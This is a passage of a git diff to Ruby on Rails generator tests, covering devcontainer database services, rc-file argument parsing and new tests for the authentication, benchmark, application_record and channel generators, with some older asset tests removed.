+    run_generator [ destination_root, "--devcontainer", "--skip-action-cable", "--skip-active-job", "--skip-solid" ]
+
+    assert_compose_file do |compose_config|
+      assert_not_includes compose_config["services"]["rails-app"]["depends_on"], "redis"
+      assert_nil compose_config["services"]["redis"]
+      assert_nil compose_config["volumes"]
+    end
+
+    assert_devcontainer_json_file do |content|
+      assert_not_includes content["forwardPorts"], 6379
+    end
+  end
+
+  def test_devcontainer_postgresql
+    run_generator [ destination_root, "--devcontainer", "-d", "postgresql" ]
+
+    assert_compose_file do |compose_config|
+      assert_includes compose_config["services"]["rails-app"]["depends_on"], "postgres"
+
+      expected_postgres_config = {
+        "image" => "postgres:18",
+        "restart" => "unless-stopped",
+        "networks" => ["default"],
+        "volumes" => ["postgres-data:/var/lib/postgresql"],
+        "environment" => {
+          "POSTGRES_USER" => "postgres",
+          "POSTGRES_PASSWORD" => "postgres"
+        }
+      }
+
+      assert_equal expected_postgres_config, compose_config["services"]["postgres"]
+      assert_includes compose_config["volumes"].keys, "postgres-data"
+    end
+    assert_devcontainer_json_file do |content|
+      assert_equal "postgres", content["containerEnv"]["DB_HOST"]
+      assert_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/postgres-client"
+      assert_includes content["forwardPorts"], 5432
+    end
+    assert_file("config/database.yml") do |content|
+      assert_match(/host: <%= ENV\["DB_HOST"\] %>/, content)
+    end
+  end
+
+  def test_devcontainer_postgresql_skip_solid
+    # Regression test for #53482
+    run_generator [ destination_root, "--devcontainer", "-d", "postgresql", "--skip-solid"]
+
+    assert_file("config/database.yml") do |content|
+      assert_no_match("db/queue_migrate", content)
+      assert_no_match("db/cache_migrate", content)
+      assert_no_match("db/cable_migrate", content)
+    end
+  end
+
+  def test_devcontainer_mysql
+    run_generator [ destination_root, "--devcontainer", "-d", "mysql" ]
+
+    assert_compose_file do |compose_config|
+      assert_includes compose_config["services"]["rails-app"]["depends_on"], "mysql"
+
+      expected_mysql_config = {
+        "image" => "mysql/mysql-server:8.0",
+        "restart" => "unless-stopped",
+        "environment" => {
+          "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+          "MYSQL_ROOT_HOST" => "%"
+        },
+        "volumes" => ["mysql-data:/var/lib/mysql"],
+        "networks" => ["default"],
+      }
+
+      assert_equal expected_mysql_config, compose_config["services"]["mysql"]
+      assert_includes compose_config["volumes"].keys, "mysql-data"
+    end
+    assert_devcontainer_json_file do |content|
+      assert_equal "mysql", content["containerEnv"]["DB_HOST"]
+      assert_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/mysql-client"
+      assert_includes content["forwardPorts"], 3306
+    end
+    assert_file("config/database.yml") do |content|
+      assert_match(/host: <%= ENV.fetch\("DB_HOST"\) \{ "127.0.0.1" } %>/, content)
+    end
+  end
+
+  def test_devcontainer_trilogy
+    run_generator [ destination_root, "--devcontainer", "-d", "trilogy" ]
+
+    assert_compose_file do |compose_config|
+      assert_includes compose_config["services"]["rails-app"]["depends_on"], "mysql"
+      expected_mysql_config = {
+        "image" => "mysql/mysql-server:8.0",
+        "restart" => "unless-stopped",
+        "environment" => {
+          "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+          "MYSQL_ROOT_HOST" => "%"
+        },
+        "volumes" => ["mysql-data:/var/lib/mysql"],
+        "networks" => ["default"],
+      }
+
+      assert_equal expected_mysql_config, compose_config["services"]["mysql"]
+      assert_includes compose_config["volumes"].keys, "mysql-data"
+    end
+    assert_devcontainer_json_file do |content|
+      assert_equal "mysql", content["containerEnv"]["DB_HOST"]
+      assert_includes(content["forwardPorts"], 3306)
+    end
+    assert_file("config/database.yml") do |content|
+      assert_match(/host: <%= ENV.fetch\("DB_HOST"\) \{ "127.0.0.1" } %>/, content)
+    end
+  end
+
+  def test_devcontainer_mariadb_mysql
+    run_generator [ destination_root, "--devcontainer", "-d", "mariadb-mysql" ]
+
+    assert_compose_file do |compose_config|
+      assert_includes compose_config["services"]["rails-app"]["depends_on"], "mariadb"
+      expected_mariadb_config = {
+        "image" => "mariadb:10.5",
+        "restart" => "unless-stopped",
+        "networks" => ["default"],
+        "volumes" => ["mariadb-data:/var/lib/mysql"],
+        "environment" => {
+          "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+        },
+      }
+
+      assert_equal expected_mariadb_config, compose_config["services"]["mariadb"]
+      assert_includes compose_config["volumes"].keys, "mariadb-data"
+    end
+    assert_devcontainer_json_file do |content|
+      assert_equal "mariadb", content["containerEnv"]["DB_HOST"]
+      assert_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/mysql-client"
+      assert_includes(content["forwardPorts"], 3306)
+    end
+    assert_file("config/database.yml") do |content|
+      assert_match(/host: <%= ENV.fetch\("DB_HOST"\) \{ "127.0.0.1" } %>/, content)
+    end
+  end
+
+  def test_devcontainer_mariadb_trilogy
+    run_generator [ destination_root, "--devcontainer", "-d", "mariadb-trilogy" ]
+
+    assert_compose_file do |compose_config|
+      assert_includes compose_config["services"]["rails-app"]["depends_on"], "mariadb"
+      expected_mariadb_config = {
+        "image" => "mariadb:10.5",
+        "restart" => "unless-stopped",
+        "networks" => ["default"],
+        "volumes" => ["mariadb-data:/var/lib/mysql"],
+        "environment" => {
+          "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+        },
+      }
+
+      assert_equal expected_mariadb_config, compose_config["services"]["mariadb"]
+      assert_includes compose_config["volumes"].keys, "mariadb-data"
+    end
+    assert_devcontainer_json_file do |content|
+      assert_equal "mariadb", content["containerEnv"]["DB_HOST"]
+      assert_includes(content["forwardPorts"], 3306)
+    end
+    assert_file("config/database.yml") do |content|
+      assert_match(/host: <%= ENV.fetch\("DB_HOST"\) \{ "127.0.0.1" } %>/, content)
+    end
+  end
+
+  def test_devcontainer_no_selenium_when_skipping_system_test
+    run_generator [ destination_root, "--devcontainer", "--skip-system-test" ]
+
+    assert_compose_file do |compose_config|
+      assert_nil compose_config["services"]["rails-app"]["depends_on"]
+      assert_not_includes compose_config["services"].keys, "selenium"
+    end
+    assert_devcontainer_json_file do |content|
+      assert_not_includes content["containerEnv"].keys, "SELENIUM_HOST"
+      assert_not_includes content["containerEnv"].keys, "CAPYBARA_SERVER_PORT"
+    end
+  end
+
+  def test_devcontainer_no_feature_when_skipping_active_storage
+    run_generator [ destination_root, "--devcontainer", "--skip-active-storage" ]
+
+    assert_devcontainer_json_file do |content|
+      assert_nil content["features"]["ghcr.io/rails/devcontainer/features/activestorage"]
+    end
+  end
+
+  def test_devcontainer_no_depends_on_when_no_dependencies
+    run_generator [ destination_root, "--devcontainer", "--minimal" ]
+
+    assert_compose_file do |compose_config|
+      assert_not_includes compose_config["services"]["rails-app"].keys, "depends_on"
+    end
+  end
+
+  def test_devcontainer_adds_node_tooling_when_required
+    run_generator [destination_root, "--devcontainer", "--javascript=esbuild"]
+
+    assert_devcontainer_json_file do |devcontainer_config|
+      assert_includes devcontainer_config["features"].keys, "ghcr.io/devcontainers/features/node:1"
+    end
+  end
+
+  def test_devcontainer_does_not_add_node_tooling_when_not_required
+    run_generator [destination_root, "--devcontainer"]
+
+    assert_devcontainer_json_file do |devcontainer_config|
+      assert_not_includes devcontainer_config["features"].keys, "ghcr.io/devcontainers/features/node:1"
+    end
+  end
+
+  def test_devcontainer_dev_flag_mounts_local_rails_repo
+    run_generator_using_prerelease [ destination_root, "--devcontainer", "--dev" ]
+
+    assert_devcontainer_json_file do |devcontainer_config|
+      rails_mount = devcontainer_config["mounts"].sole
 
-    def stub_rails_application(root)
-      Rails.application.config.root = root
-      Rails.application.class.stub(:name, "Myapp") do
-        yield
+      assert_equal "bind", rails_mount["type"]
+      assert_equal Rails::Generators::RAILS_DEV_PATH, rails_mount["source"]
+      assert_equal Rails::Generators::RAILS_DEV_PATH, rails_mount["target"]
+    end
+  end
+
+  def test_no_devcontainer_by_default
+    run_generator [ destination_root ]
+
+    assert_no_file(".devcontainer/devcontainer.json")
+    assert_no_file(".devcontainer/Dockerfile")
+    assert_no_file(".devcontainer/compose.yaml")
+  end
+
+  def test_generated_yml_files_format
+    generator [destination_root]
+    run_generator_instance
+
+    Dir["**/*.yml"].each do |yml_file|
+      assert_file yml_file do |content|
+        assert_no_match(/\n\n\n/, content, "File `#{yml_file}` should not have double empty lines")
       end
     end
+  end
 
-    def action(*args, &block)
-      capture(:stdout) { generator.send(*args, &block) }
+  private
+    def assert_load_defaults
+      assert_file "config/application.rb", /\s+config\.load_defaults #{Rails::VERSION::STRING.to_f}/
     end
 
-    def assert_gem(gem, constraint = nil)
-      if constraint
-        assert_file "Gemfile", /^\s*gem\s+["']#{gem}["'], #{constraint}$*/
-      else
-        assert_file "Gemfile", /^\s*gem\s+["']#{gem}["']$*/
+    def assert_gem_for_active_storage
+      assert_gem "image_processing"
+    end
+
+    def assert_frameworks_are_not_required_when_active_storage_is_skipped
+      super
+      assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']action_mailbox\/engine["']/
+      assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']action_text\/engine["']/
+    end
+
+    def assert_dockerfile_when_active_storage_is_skipped
+      assert_file "Dockerfile" do |content|
+        assert_no_match(/libvips/, content)
       end
     end
 
-    def assert_listen_related_configuration
-      assert_gem "listen"
-      assert_gem "spring-watcher-listen"
+    def assert_gems_when_active_storage_is_skipped
+      assert_no_gem "image_processing"
+    end
 
-      assert_file "config/environments/development.rb" do |content|
-        assert_match(/^\s*config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
+    def assert_gitattributes_does_not_have_schema_file
+      assert_file ".gitattributes" do |content|
+        assert_no_match(/schema.rb/, content)
       end
     end
 
-    def assert_no_listen_related_configuration
-      assert_file "Gemfile" do |content|
-        assert_no_match(/listen/, content)
+    def assert_node_files
+      assert_file ".node-version" do |content|
+        assert_match %r/\d+\.\d+\.\d+/, content
       end
 
-      assert_file "config/environments/development.rb" do |content|
-        assert_match(/^\s*# config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
+      assert_file "Dockerfile" do |content|
+        assert_match "yarn", content
+        assert_match "node-gyp", content
       end
     end
 
-    def assert_generates_with_bundler(options = {})
-      generator([destination_root], options)
-
-      command_check = -> command do
-        @install_called ||= 0
+    def assert_no_node_files
+      assert_no_file ".node-version"
 
-        case command
-        when "install"
-          @install_called += 1
-          assert_equal 1, @install_called, "install expected to be called once, but was called #{@install_called} times"
-        when "exec spring binstub --all"
-          # Called when running tests with spring, let through unscathed.
-        end
+      assert_file "Dockerfile" do |content|
+        assert_no_match "yarn", content
+        assert_no_match "node-gyp", content
       end
+    end
 
-      generator.stub :bundle_command, command_check do
-        quietly { generator.invoke_all }
-      end
+    def action(*args, &block)
+      capture(:stdout) { generator.send(*args, &block) }
     end
 end
diff --git a/railties/test/generators/application_record_generator_test.rb b/railties/test/generators/application_record_generator_test.rb
new file mode 100644
index 0000000000000..477f76ba0778a
--- /dev/null
+++ b/railties/test/generators/application_record_generator_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/application_record/application_record_generator"
+
+class ApplicationRecordGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def test_application_record_skeleton_is_created
+    run_generator
+    assert_file "app/models/application_record.rb" do |record|
+      assert_match(/class ApplicationRecord < ActiveRecord::Base/, record)
+      assert_match(/primary_abstract_class/, record)
+    end
+  end
+end
diff --git a/railties/test/generators/argv_scrubber_test.rb b/railties/test/generators/argv_scrubber_test.rb
index 7f4295a20fe64..461b4f46ecc43 100644
--- a/railties/test/generators/argv_scrubber_test.rb
+++ b/railties/test/generators/argv_scrubber_test.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
 require "active_support/test_case"
 require "active_support/testing/autorun"
 require "rails/generators/rails/app/app_generator"
 require "tempfile"
+require "fileutils"
+require "env_helpers"
 
 module Rails
   module Generators
@@ -10,6 +14,8 @@ class ARGVScrubberTest < ActiveSupport::TestCase # :nodoc:
       # current behavior of the ARGVScrubber, they do not mean that the class
       # *must* act this way, I just want to prevent regressions.
 
+      include EnvHelpers
+
       def test_version
         ["-v", "--version"].each do |str|
           scrubber = ARGVScrubber.new [str]
@@ -54,6 +60,17 @@ def self.default_rc_file
         assert_equal [], args
       end
 
+      def test_default_rc_file_with_xdg_config_home
+        Dir.mktmpdir do |dir|
+          rc_file = File.join(dir, "rails/railsrc")
+          FileUtils.mkdir_p(File.dirname(rc_file))
+          FileUtils.touch(rc_file)
+          switch_env("XDG_CONFIG_HOME", dir) do
+            assert_equal rc_file, ARGVScrubber.default_rc_file
+          end
+        end
+      end
+
       def test_new_homedir_rc
         file = Tempfile.new "myrcfile"
         file.puts "--hello-world"
@@ -80,9 +97,8 @@ def test_rc_whitespace_separated
         file.puts "--hello --world"
         file.flush
 
-        message = nil
         scrubber = Class.new(ARGVScrubber) {
-          define_method(:puts) { |msg| message = msg }
+          define_method(:puts) { |msg| }
         }.new ["new", "--rc=#{file.path}"]
         args = scrubber.prepare!
         assert_equal ["--hello", "--world"], args
@@ -91,6 +107,23 @@ def test_rc_whitespace_separated
         file.unlink
       end
 
+      def test_rc_lines_with_comments
+        file = Tempfile.new "myrcfile"
+        file.puts "--hello # --world"
+        file.puts "--love"
+        file.puts "# --hate"
+        file.flush
+
+        scrubber = Class.new(ARGVScrubber) {
+          define_method(:puts) { |msg| }
+        }.new ["new", "--rc=#{file.path}"]
+        args = scrubber.prepare!
+        assert_equal ["--hello", "--love"], args
+      ensure
+        file.close
+        file.unlink
+      end
+
       def test_new_rc_option
         file = Tempfile.new "myrcfile"
         file.puts "--hello-world"
diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb
deleted file mode 100644
index 1c02c67e42b16..0000000000000
--- a/railties/test/generators/assets_generator_test.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require "generators/generators_test_helper"
-require "rails/generators/rails/assets/assets_generator"
-
-class AssetsGeneratorTest < Rails::Generators::TestCase
-  include GeneratorsTestHelper
-  arguments %w(posts)
-
-  def test_assets
-    run_generator
-    assert_file "app/assets/javascripts/posts.js"
-    assert_file "app/assets/stylesheets/posts.css"
-  end
-
-  def test_skipping_assets
-    run_generator ["posts", "--no-stylesheets", "--no-javascripts"]
-    assert_no_file "app/assets/javascripts/posts.js"
-    assert_no_file "app/assets/stylesheets/posts.css"
-  end
-end
diff --git a/railties/test/generators/authentication_generator_test.rb b/railties/test/generators/authentication_generator_test.rb
new file mode 100644
index 0000000000000..f88bc763b3a1b
--- /dev/null
+++ b/railties/test/generators/authentication_generator_test.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/app/app_generator"
+require "rails/generators/rails/authentication/authentication_generator"
+
+class AuthenticationGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def setup
+    FileUtils.mkdir_p("#{destination_root}/app/controllers")
+    File.write("#{destination_root}/app/controllers/application_controller.rb", <<~RUBY)
+      class ApplicationController < ActionController::Base
+      end
+    RUBY
+    FileUtils.mkdir_p("#{destination_root}/test")
+    File.write("#{destination_root}/test/test_helper.rb", <<~RUBY)
+      require "rails/test_help"
+      module ActiveSupport
+        class TestCase
+        end
+      end
+    RUBY
+
+    copy_gemfile
+
+    copy_routes
+  end
+
+  def test_authentication_generator
+    generator([destination_root])
+
+    run_generator_instance
+
+    assert_file "app/models/user.rb"
+    assert_file "app/models/current.rb"
+    assert_file "app/models/session.rb"
+    assert_file "app/controllers/sessions_controller.rb"
+    assert_file "app/controllers/concerns/authentication.rb"
+    assert_file "app/views/sessions/new.html.erb"
+    assert_file "app/channels/application_cable/connection.rb"
+
+    assert_file "app/controllers/application_controller.rb" do |content|
+      class_line, includes_line = content.lines.first(2)
+
+      assert_equal "class ApplicationController < ActionController::Base\n", class_line, "does not affect class definition"
+      assert_equal "  include Authentication\n", includes_line, "includes module on first line of class definition"
+    end
+
+    assert_file "Gemfile" do |content|
+      assert_match(/\ngem "bcrypt"/, content)
+    end
+
+    assert_file "config/routes.rb" do |content|
+      assert_match(/resource :session/, content)
+    end
+
+    assert_includes @rails_commands, "generate migration CreateUsers email_address:string!:uniq password_digest:string! --force"
+    assert_includes @rails_commands, "generate migration CreateSessions user:references ip_address:string user_agent:string --force"
+
+    assert_file "test/models/user_test.rb"
+    assert_file "test/fixtures/users.yml"
+    assert_file "test/controllers/sessions_controller_test.rb"
+    assert_file "test/controllers/passwords_controller_test.rb"
+    assert_file "test/mailers/previews/passwords_mailer_preview.rb"
+
+    assert_file "test/test_helpers/session_test_helper.rb"
+
+    assert_file "test/test_helper.rb" do |content|
+      assert_match("require_relative \"test_helpers/session_test_helper\"", content)
+    end
+  end
+
+  def test_authentication_generator_without_bcrypt_in_gemfile
+    File.write("#{destination_root}/Gemfile", File.read("#{destination_root}/Gemfile").sub(/# gem "bcrypt".*\n/, ""))
+
+    generator([destination_root])
+
+    run_generator_instance
+
+    assert_includes @bundle_commands, ["add bcrypt", {}, { quiet: true }]
+  end
+
+  def test_authentication_generator_with_api_flag
+    generator([destination_root], api: true)
+
+    run_generator_instance
+
+    assert_file "app/models/user.rb"
+    assert_file "app/models/current.rb"
+    assert_file "app/models/session.rb"
+    assert_file "app/controllers/sessions_controller.rb"
+    assert_file "app/controllers/concerns/authentication.rb"
+    assert_no_file "app/views/sessions/new.html.erb"
+
+    assert_file "app/controllers/application_controller.rb" do |content|
+      class_line, includes_line = content.lines.first(2)
+
+      assert_equal "class ApplicationController < ActionController::Base\n", class_line, "does not affect class definition"
+      assert_equal "  include Authentication\n", includes_line, "includes module on first line of class definition"
+    end
+
+    assert_file "Gemfile" do |content|
+      assert_match(/\ngem "bcrypt"/, content)
+    end
+
+    assert_file "config/routes.rb" do |content|
+      assert_match(/resource :session/, content)
+    end
+
+    assert_includes @rails_commands, "generate migration CreateUsers email_address:string!:uniq password_digest:string! --force"
+    assert_includes @rails_commands, "generate migration CreateSessions user:references ip_address:string user_agent:string --force"
+
+    assert_file "test/models/user_test.rb"
+    assert_file "test/fixtures/users.yml"
+    assert_file "test/mailers/previews/passwords_mailer_preview.rb"
+
+    assert_file "test/test_helpers/session_test_helper.rb"
+
+    assert_file "test/test_helper.rb" do |content|
+      assert_match("require_relative \"test_helpers/session_test_helper\"", content)
+    end
+  end
+
+  def test_model_test_is_skipped_if_test_framework_is_given
+    generator([destination_root], ["-t", "rspec"])
+
+    content = run_generator_instance
+
+    assert_match(/rspec \[not found\]/, content)
+    assert_no_file "test/models/user_test.rb"
+  end
+
+  def mailer_preview_is_skipped_if_test_framework_is_given
+    generator([destination_root], ["-t", "rspec"])
+
+    run_generator_instance
+
+    assert_no_file "test/mailers/previews/passwords_mailer_preview.rb"
+  end
+
+  def session_test_helper_is_skipped_if_test_framework_is_given
+    generator([destination_root], ["-t", "rspec"])
+
+    run_generator_instance
+
+    assert_no_file "test/test_helpers/session_test_helper.rb"
+    assert_file "test/test_helper.rb" do |test_helper_content|
+      assert_no_match(/session_test_helper/, test_helper_content)
+      assert_no_match(/SessionTestHelper/, test_helper_content)
+    end
+  end
+
+  def test_connection_class_skipped_without_action_cable
+    old_value = ActionCable.const_get(:Engine)
+    ActionCable.send(:remove_const, :Engine)
+    generator([destination_root])
+    run_generator_instance
+
+    assert_no_file "app/channels/application_cable/connection.rb"
+  ensure
+    ActionCable.const_set(:Engine, old_value)
+  end
+
+  def test_authentication_generator_without_action_mailer
+    old_value = ActionMailer.const_get(:Railtie)
+    ActionMailer.send(:remove_const, :Railtie)
+    generator([destination_root])
+    run_generator_instance
+
+    assert_no_file "app/mailers/application_mailer.rb"
+    assert_no_file "app/mailers/passwords_mailer.rb"
+    assert_no_file "app/views/passwords_mailer/reset.html.erb"
+    assert_no_file "app/views/passwords_mailer/reset.text.erb"
+    assert_no_file "test/mailers/previews/passwords_mailer_preview.rb"
+
+    assert_file "app/controllers/passwords_controller.rb" do |content|
+      assert_no_match(/def create\n    end/, content)
+      assert_no_match(/rate_limit/, content)
+    end
+  ensure
+    ActionMailer.const_set(:Railtie, old_value)
+  end
+
+  private
+    def run_generator_instance
+      @bundle_commands = []
+      command_stub ||= -> (command, *args) { @bundle_commands << [command, *args] }
+
+      @rails_commands = []
+      @rails_command_stub ||= -> (command, *_) { @rails_commands << command }
+
+      content = nil
+      generator.stub(:bundle_command, command_stub) do
+        generator.stub(:rails_command, @rails_command_stub) do
+          content = super
+        end
+      end
+
+      content
+    end
+end
diff --git a/railties/test/generators/benchmark_generator_test.rb b/railties/test/generators/benchmark_generator_test.rb
new file mode 100644
index 0000000000000..53b2c2e2d168b
--- /dev/null
+++ b/railties/test/generators/benchmark_generator_test.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/benchmark/benchmark_generator"
+
+module Rails
+  module Generators
+    class BenchmarkGeneratorTest < Rails::Generators::TestCase
+      include GeneratorsTestHelper
+
+      setup do
+        copy_gemfile
+      end
+
+      test "generate benchmark" do
+        run_generator ["my_benchmark"]
+
+        assert_file("Gemfile") do |content|
+          assert_match "gem \"benchmark-ips\"", content
+        end
+
+        assert_file("script/benchmarks/my_benchmark.rb") do |content|
+          assert_equal <<~RUBY, content
+            # frozen_string_literal: true
+
+            require_relative "../../config/environment"
+
+            # Any benchmarking setup goes here...
+
+            Benchmark.ips do |x|
+              x.report("before") { }
+              x.report("after") { }
+
+              x.compare!
+            end
+          RUBY
+        end
+      end
+
+      test "generate benchmark with no name" do
+        output = capture(:stderr) do
+          run_generator []
+        end
+
+        assert_equal <<~MSG, output
+          No value provided for required arguments 'name'
+        MSG
+      end
+
+      test "generate benchmark with reports" do
+        run_generator ["my_benchmark", "with_patch", "without_patch"]
+
+        assert_file("script/benchmarks/my_benchmark.rb") do |content|
+          assert_equal <<~RUBY, content
+            # frozen_string_literal: true
+
+            require_relative "../../config/environment"
+
+            # Any benchmarking setup goes here...
+
+            Benchmark.ips do |x|
+              x.report("with_patch") { }
+              x.report("without_patch") { }
+
+              x.compare!
+            end
+          RUBY
+        end
+      end
+
+      test "generate benchmark twice only adds ips gem once" do
+        run_generator ["my_benchmark"]
+        run_generator ["my_benchmark"]
+
+        assert_file("Gemfile") do |content|
+          occurrences = content.scan("gem \"benchmark-ips\"").count
+          assert_equal 1, occurrences, "Should only have benchmark-ips present once"
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/channel_generator_test.rb b/railties/test/generators/channel_generator_test.rb
index a1d54200baf1f..ca04aa219d4cd 100644
--- a/railties/test/generators/channel_generator_test.rb
+++ b/railties/test/generators/channel_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/channel/channel_generator"
 
@@ -5,7 +7,12 @@ class ChannelGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   tests Rails::Generators::ChannelGenerator
 
-  def test_application_cable_skeleton_is_created
+  setup do
+    use_with_javascript
+    use_under_importmap
+  end
+
+  test "shared channel files are created" do
     run_generator ["books"]
 
     assert_file "app/channels/application_cable/channel.rb" do |cable|
@@ -17,19 +24,30 @@ def test_application_cable_skeleton_is_created
     end
   end
 
-  def test_channel_is_created
+  test "specific channel files are created under importmap" do
     run_generator ["chat"]
 
     assert_file "app/channels/chat_channel.rb" do |channel|
       assert_match(/class ChatChannel < ApplicationCable::Channel/, channel)
     end
 
-    assert_file "app/assets/javascripts/channels/chat.js" do |channel|
-      assert_match(/App.chat = App.cable.subscriptions.create\("ChatChannel/, channel)
+    assert_file "app/javascript/channels/chat_channel.js" do |channel|
+      assert_match(/import consumer from "channels\/consumer"\s+consumer\.subscriptions\.create\("ChatChannel/, channel)
+    end
+  end
+
+  test "specific channel files are created under node" do
+    use_under_node
+    generator(["chat"]).stub(:install_javascript_dependencies, true) do
+      run_generator_instance
+
+      assert_file "app/javascript/channels/chat_channel.js" do |channel|
+        assert_match(/import consumer from ".\/consumer"\s+consumer\.subscriptions\.create\("ChatChannel/, channel)
+      end
     end
   end
 
-  def test_channel_with_multiple_actions_is_created
+  test "channel with multiple actions is created" do
     run_generator ["chat", "speak", "mute"]
 
     assert_file "app/channels/chat_channel.rb" do |channel|
@@ -38,40 +56,127 @@ def test_channel_with_multiple_actions_is_created
       assert_match(/def mute/, channel)
     end
 
-    assert_file "app/assets/javascripts/channels/chat.js" do |channel|
-      assert_match(/App.chat = App.cable.subscriptions.create\("ChatChannel/, channel)
+    assert_file "app/javascript/channels/chat_channel.js" do |channel|
+      assert_match(/import consumer from "channels\/consumer"\s+consumer\.subscriptions\.create\("ChatChannel/, channel)
       assert_match(/,\n\n  speak/, channel)
       assert_match(/,\n\n  mute: function\(\) \{\n    return this\.perform\('mute'\);\n  \}\n\}\);/, channel)
     end
   end
 
-  def test_channel_asset_is_not_created_when_skip_assets_is_passed
+  test "shared channel javascript files are created" do
+    run_generator ["books"]
+
+    assert_file "app/javascript/channels/index.js"
+    assert_file "app/javascript/channels/consumer.js"
+  end
+
+  test "import channels in javascript entrypoint" do
+    run_generator ["books"]
+
+    assert_file "app/javascript/application.js" do |entrypoint|
+      assert_match %r|import "channels"|, entrypoint
+    end
+  end
+
+  test "import channels in javascript entrypoint when using a css processor" do
+    FileUtils.touch("#{destination_root}/package.json")
+
+    run_generator ["books"]
+
+    assert_file "app/javascript/application.js" do |entrypoint|
+      assert_match %r|import "channels"|, entrypoint
+    end
+  end
+
+  test "import channels in javascript entrypoint under node" do
+    use_under_node
+    generator(["chat"]).stub(:install_javascript_dependencies, true) do
+      run_generator_instance
+
+      assert_file "app/javascript/application.js" do |entrypoint|
+        assert_match %r|import "./channels"|, entrypoint
+      end
+    end
+  end
+
+  test "pin javascript dependencies" do
+    run_generator ["chat"]
+
+    assert_file "config/importmap.rb" do |content|
+      assert_match %r|pin "@rails/actioncable"|, content
+      assert_match %r|pin_all_from "app/javascript/channels"|, content
+    end
+  end
+
+  test "first setup only happens once" do
+    run_generator ["chat"]
+    assert_file "app/javascript/channels/consumer.js"
+
+    FileUtils.rm("#{destination_root}/app/javascript/channels/consumer.js")
+    run_generator ["another"]
+    assert_no_file "app/javascript/channels/consumer.js"
+  end
+
+  test "javascripts not generated when assets are skipped" do
     run_generator ["chat", "--skip-assets"]
 
     assert_file "app/channels/chat_channel.rb" do |channel|
       assert_match(/class ChatChannel < ApplicationCable::Channel/, channel)
     end
 
-    assert_no_file "app/assets/javascripts/channels/chat.js"
+    assert_no_file "app/javascript/channels/chat_channel.js"
   end
 
-  def test_cable_js_is_created_if_not_present_already
-    run_generator ["chat"]
-    FileUtils.rm("#{destination_root}/app/assets/javascripts/cable.js")
-    run_generator ["camp"]
+  test "invokes default test framework" do
+    run_generator %w(chat -t=test_unit)
 
-    assert_file "app/assets/javascripts/cable.js"
+    assert_file "test/channels/chat_channel_test.rb" do |test|
+      assert_match(/class ChatChannelTest < ActionCable::Channel::TestCase/, test)
+      assert_match(/# test "subscribes" do/, test)
+      assert_match(/#   assert subscription.confirmed\?/, test)
+    end
   end
 
-  def test_channel_on_revoke
+  test "revoking" do
     run_generator ["chat"]
     run_generator ["chat"], behavior: :revoke
 
     assert_no_file "app/channels/chat_channel.rb"
-    assert_no_file "app/assets/javascripts/channels/chat.js"
+    assert_no_file "app/javascript/channels/chat_channel.js"
+    assert_no_file "test/channels/chat_channel_test.rb"
 
     assert_file "app/channels/application_cable/channel.rb"
     assert_file "app/channels/application_cable/connection.rb"
-    assert_file "app/assets/javascripts/cable.js"
+    assert_file "app/javascript/channels/consumer.js"
+  end
+
+  test "channel suffix is not duplicated" do
+    run_generator ["chat_channel"]
+
+    assert_no_file "app/channels/chat_channel_channel.rb"
+    assert_file "app/channels/chat_channel.rb"
+
+    assert_no_file "app/javascript/channels/chat_channel_channel.js"
+    assert_file "app/javascript/channels/chat_channel.js"
+
+    assert_no_file "test/channels/chat_channel_channel_test.rb"
+    assert_file "test/channels/chat_channel_test.rb"
   end
+
+  private
+    def use_with_javascript
+      FileUtils.mkdir_p("#{destination_root}/app/javascript")
+      FileUtils.touch("#{destination_root}/app/javascript/application.js")
+    end
+
+    def use_under_importmap
+      FileUtils.mkdir_p("#{destination_root}/config")
+      FileUtils.touch("#{destination_root}/config/importmap.rb")
+      FileUtils.rm_rf("#{destination_root}/package.json")
+    end
+
+    def use_under_node
+      FileUtils.touch("#{destination_root}/package.json")
+      FileUtils.rm_rf("#{destination_root}/config/importmap.rb")
+    end
 end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
index af86a0136f485..1f97a42449ae1 100644
--- a/railties/test/generators/controller_generator_test.rb
+++ b/railties/test/generators/controller_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/controller/controller_generator"
 
@@ -9,7 +11,7 @@ class ControllerGeneratorTest < Rails::Generators::TestCase
 
   def test_help_does_not_show_invoked_generators_options_if_they_already_exist
     content = run_generator ["--help"]
-    assert_no_match(/Helper options\:/, content)
+    assert_no_match(/Helper options:/, content)
   end
 
   def test_controller_skeleton_is_created
@@ -18,7 +20,7 @@ def test_controller_skeleton_is_created
   end
 
   def test_check_class_collision
-    Object.send :const_set, :ObjectController, Class.new
+    Object.const_set :ObjectController, Class.new
     content = capture(:stderr) { run_generator ["object"] }
     assert_match(/The name 'ObjectController' is either already used in your application or reserved/, content)
   ensure
@@ -35,18 +37,6 @@ def test_does_not_invoke_helper_if_required
     assert_no_file "app/helpers/account_helper.rb"
   end
 
-  def test_invokes_assets
-    run_generator
-    assert_file "app/assets/javascripts/account.js"
-    assert_file "app/assets/stylesheets/account.css"
